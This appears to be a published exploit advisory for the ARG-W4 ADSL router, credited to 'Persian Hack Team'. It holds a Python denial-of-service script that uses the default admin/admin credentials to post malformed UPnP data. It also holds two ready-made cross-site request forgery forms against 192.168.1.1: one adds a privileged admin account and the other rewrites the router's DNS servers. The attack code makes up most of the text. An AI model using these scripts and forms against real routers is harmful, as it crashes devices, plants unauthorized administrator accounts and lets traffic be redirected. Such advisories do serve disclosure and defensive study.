ARG-W4 ADSL Router - Multiple Vulnerabilities

2016.12.12
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: ARG-W4 ADSL Router - Multiple Vulnerabilities # Date: 2016-12-11 # Exploit Author: Persian Hack Team # Discovered by : Mojtaba MobhaM # Tested on: Windows AND Linux # Exploit Demo : http://persian-team.ir/showthread.php?tid=196 1 - Denial of Service #!/usr/bin/python import urllib2 import urllib site=raw_input("Enter Url : ") site=site+"/form2Upnp.cgi" username='admin' password='admin' p = urllib2.HTTPPasswordMgrWithDefaultRealm() p.add_password(None, site, username, password) handler = urllib2.HTTPBasicAuthHandler(p) opener = urllib2.build_opener(handler) urllib2.install_opener(opener) post = {'daemon':' ','ext_if':'pppoe+1','submit.htm?upnp.htm':'Send'} data = urllib.urlencode(post) try: html = urllib2.urlopen(site,data) print ("Done ! c_C") except: print ("Done ! c_C") 2-1 Cross-Site Request Forgery (Add Admin) <html> <body> <form action="http://192.168.1.1/form2userconfig.cgi" method="POST"> USER:<input type="text" name="username" value="mobham" /> <input type="hidden" name="privilege" value="2" /> PWD:<input type="text" name="newpass" value="mobham" /> RPWD:<input type="texr" name="confpass" value="mobham" /> <input type="hidden" name="adduser" value="Add" /> <input type="hidden" name="hiddenpass" value="" /> <input type="hidden" name="submit&#46;htm&#63;userconfig&#46;htm" value="Send" /> <input type="submit" value="Submit request" /> </form> </body> </html> 2-2 Cross-Site Request Forgery (Change DNS) <html> <body> <form action="http://192.168.1.1/form2Dns.cgi" method="POST"> <input type="hidden" name="dnsMode" value="1" /> DNS<input type="text" name="dns1" value="2&#46;2&#46;2&#46;2" /> DNS 2<input type="text" name="dns2" value="1&#46;1&#46;1&#46;1" /> DNS 3<input type="text" name="dns3" value="" /> <input type="hidden" name="submit&#46;htm&#63;dns&#46;htm" value="Send" /> <input type="hidden" name="save" value="Apply&#32;Changes" /> <input type="submit" value="Submit request" /> </form> </body> </html>

References:

http://persian-team.ir/showthread.php?tid=196


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017, cxsecurity.com

 

Back to Top